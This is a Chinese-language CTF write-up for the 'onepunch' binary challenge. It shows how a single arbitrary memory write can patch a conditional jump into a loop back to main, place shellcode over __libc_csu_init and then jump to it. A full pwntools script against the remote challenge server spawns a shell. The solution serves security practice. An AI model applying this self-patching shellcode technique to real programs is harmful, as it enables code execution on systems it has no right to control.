做的题太少了,不知道应该把这种题目如何归类
int __cdecl main(int argc, const char **argv, const char **envp)
{
……
v5 = __isoc99_scanf("%llx %d", &v6, &v4);
if ( v5 != 2 )
return 0;
*v6 = v4;
……
return 0;
}
题目只提供了一个功能:读取两个数,第一个值为内存地址,第二个值为写入的数
也即:我们可以完成一次任意地址写,写入最多一个int
写一次没有什么用 => 写入多次就有用了!可以把我们的shellcode布置到代码中,直接运行即可
如何写入多次 => 利用第一次的内存写入,把循环跳转改成main中的死循环~~~
.text:0000000000400756 loc_400756: ; CODE XREF: main+5B↑j
.text:0000000000400756 48 8B 45 F0 mov rax, [rbp+var_10]
.text:000000000040075A 8B 55 E8 mov edx, [rbp+var_18]
.text:000000000040075D 88 10 mov [rax], dl
.text:000000000040075F 8B 45 E8 mov eax, [rbp+var_18]
.text:0000000000400762 3D FF 00 00 00 cmp eax, 0FFh
.text:0000000000400767 75 0A jnz short loc_400773
.text:0000000000400769 BF 28 08 40 00 mov edi, offset s ; "No flag for you"
.text:000000000040076E E8 ED FD FF FF call _puts
注意到这里的0x400767处的75 0A,如果把这里的判断跳转,改为强制跳转到main,即可完成死循环操作。剩下的就是把shellcode布置好
Edit - Patch Program - Assemble:
注意这里不能改成jmp main
jmp和jnz是不同的指令操作,会导致不仅要修改指令,还得修改偏移,但是我们只能修改一次
第一步:输入0x400768 137
第二步:
找到一串我们控制的地址,不影响程序运行,就可以写入shellcode
__libc_csu_init的代码在运行main之前已经使用过,现在已经无用,所以可以覆盖
第三步:
再控制0x400768到__libc_csu_init的地址,执行shellcode
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(arch = "amd64")
#io = process("./onepunch")
io = remote("hackme.inndy.tw", 7718)
#jnz main
io.recv()
io.sendline("0x400768 137")
#shellcode =>__libc_csu_init
payload = asm(shellcraft.sh())
l = len(payload)
i = 0
addr = 0x400790
while i < l:
io.recv()
io.sendline(str(hex(addr + i)) + " " + str(ord(payload[i])))
i += 1
#jnz __libc_csu_init(get shell)
io.recv()
io.sendline("0x400768 39")
io.interactive()
要注意这里有个坑
因为我们用了pwntools的工具来自动生成shellcode,所以需要制定平台架构为64位系统(不填默认为32位,就会报错)